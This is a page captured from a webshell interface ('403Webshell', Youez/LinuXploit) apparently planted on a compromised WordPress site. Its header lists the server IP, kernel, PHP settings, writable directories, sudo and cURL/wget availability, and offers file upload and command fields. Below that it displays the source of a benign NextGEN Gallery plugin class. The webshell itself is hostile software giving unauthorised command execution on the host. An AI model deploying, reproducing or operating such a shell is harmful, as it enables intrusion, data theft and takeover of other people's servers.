403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/src/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/src/Admin/RequirementsNotice.php
<?php

namespace Imagely\NGG\Admin;

class RequirementsNotice {

	protected $_name;
	protected $_data;
	protected $_callback;

	/**
	 * @param string   $name
	 * @param callable $callback
	 * @param array    $data
	 */
	public function __construct( $name, $callback, $data ) {
		$this->_name     = $name;
		$this->_data     = $data;
		$this->_callback = $callback;
	}

	/**
	 * @return bool
	 */
	public function is_renderable() {
		return true;
	}

	/**
	 * @return bool
	 */
	public function is_dismissable() {
		return isset( $this->_data['dismissable'] ) ? $this->_data['dismissable'] : true;
	}

	/**
	 * @return string
	 */
	public function render() {
		return $this->_data['message'];
	}

	/**
	 * @return string
	 */
	public function get_mvc_template() {
		return 'photocrati-nextgen_admin#requirement_notice';
	}

	/**
	 * @return string
	 */
	public function get_name() {
		return $this->_name;
	}

	/**
	 * @return bool
	 */
	public function run_callback() {
		if ( is_callable( $this->_callback ) ) {
			return call_user_func( $this->_callback );
		} else {
			return false;
		}
	}

	/**
	 * @return string
	 */
	public function get_css_class() {
		$prefix = 'notice notice-';
		if ( $this->is_dismissable() ) {
			return $prefix . 'warning';
		} else {
			return $prefix . 'error';
		}
	}

	public function get_message() {
		return empty( $this->_data['message'] ) ? '' : $this->_data['message'];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit